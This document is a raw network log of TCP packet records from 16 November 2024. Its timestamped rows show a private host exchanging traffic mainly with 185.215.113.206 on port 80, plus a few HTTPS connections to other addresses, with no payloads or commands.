Nov 16, 2024 19:22:29.837974072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.837982893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838009119 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838012934 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838048935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838051081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838094950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838099957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838133097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838144064 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838167906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838176012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838227034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838232040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838267088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838275909 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838316917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838350058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838360071 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838386059 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838398933 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838449001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838450909 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838483095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838495970 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838515997 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838529110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838546038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838581085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838587046 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838630915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838664055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838676929 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838706970 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838713884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838746071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838778019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838788986 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838825941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838826895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838860989 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838869095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838907957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838939905 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838953972 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.838973045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.838984966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839021921 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839023113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839055061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839088917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839088917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839088917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839121103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839124918 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839157104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839160919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839184046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839200974 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839222908 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839235067 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839283943 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839283943 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839320898 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839334011 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839368105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839409113 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839420080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839462042 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839468956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839500904 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839541912 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839550972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839584112 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839617014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839622974 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839653969 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839665890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839699030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839731932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839740038 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839781046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839785099 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839817047 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839828968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839862108 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839894056 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839914083 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839927912 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.839935064 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839967966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.839976072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840015888 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840028048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840075970 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840079069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840111971 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840128899 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840143919 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840151072 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840177059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840181112 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840212107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840214968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840253115 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840254068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840286970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840291023 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840325117 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840337038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840368986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840389967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840403080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840413094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840451002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840485096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840509892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840517044 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840538979 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840555906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840568066 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840600967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840632915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840641022 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840666056 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840672970 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840703964 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840717077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840759993 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840765953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840799093 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840806961 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840831041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840871096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840879917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840898037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840929985 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.840934992 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.840962887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841012955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841013908 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841047049 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841059923 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841090918 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841095924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841129065 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841152906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841160059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841172934 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841192961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841226101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841238022 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841259956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841267109 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841291904 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841315031 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841325998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841350079 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841357946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841372967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841394901 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841402054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841422081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841440916 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841454029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841470957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841485977 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841500044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841515064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841531038 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841547012 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841558933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841581106 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841593027 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841613054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841645956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841656923 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841679096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841711998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841725111 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841743946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841754913 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841777086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841797113 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841809988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841818094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841842890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841856003 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841871023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841902971 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841914892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841938972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841942072 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.841970921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.841976881 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.842005014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.842027903 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.842036963 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.842041016 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.842071056 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.842072010 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.842103004 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.842108965 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.842139006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.842144966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.842170954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.842207909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.842211962 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.842236996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.842276096 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.872335911 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.872397900 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.872538090 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.872538090 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.872575045 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.872904062 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.879208088 CET	49822	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:29.880649090 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.885643959 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.987205982 CET	443	49821	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:29.987426996 CET	49821	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:29.987441063 CET	443	49821	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:29.990647078 CET	443	49821	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:29.990711927 CET	49821	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:29.990895033 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.990958929 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.990979910 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.991010904 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.991039991 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.991060019 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.991698980 CET	49821	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:29.991774082 CET	443	49821	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:29.991928101 CET	49821	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:29.991935968 CET	443	49821	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:29.998893976 CET	443	49822	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:29.998975039 CET	443	49822	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:29.999059916 CET	49822	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:29.999639034 CET	49822	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:29.999654055 CET	443	49822	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:30.002135038 CET	49836	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:30.002156973 CET	443	49836	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:30.002242088 CET	49836	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:30.002423048 CET	49836	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:30.002439022 CET	443	49836	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:30.032687902 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.032757998 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.032903910 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.032905102 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.032972097 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.033339024 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.035451889 CET	49821	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:30.043865919 CET	443	49823	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:30.044171095 CET	49823	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:30.044198036 CET	443	49823	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:30.045088053 CET	443	49823	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:30.045157909 CET	49823	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:30.046052933 CET	49823	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:30.046113968 CET	443	49823	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:30.046201944 CET	49823	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:30.087328911 CET	443	49823	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:30.098031044 CET	49823	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:30.098057985 CET	443	49823	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:30.110330105 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.110389948 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.110462904 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.110462904 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.110532045 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.110745907 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.145827055 CET	443	49821	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:30.149014950 CET	49823	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:30.174840927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.174928904 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.174927950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.174964905 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.174984932 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.174999952 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175005913 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175033092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175040960 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175096989 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175098896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175132990 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175137997 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175167084 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175169945 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175204039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175216913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175251961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175282955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175304890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175323963 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175348997 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175381899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175415993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175426006 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175447941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175472975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175482035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175482035 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175513029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175545931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175554037 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175579071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175611973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175621033 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175643921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175647974 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175677061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175708055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175730944 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175740957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175760031 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175774097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175781965 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175807953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175847054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175856113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175888062 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175910950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175920010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175939083 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175951958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175956011 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.175983906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.175990105 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176017046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176023960 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176048994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176080942 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176090002 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176112890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176146030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176156044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176177979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176183939 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176209927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176244020 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176254034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176275969 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176307917 CET	80	49770	185.215.113.206	192.168.2.5
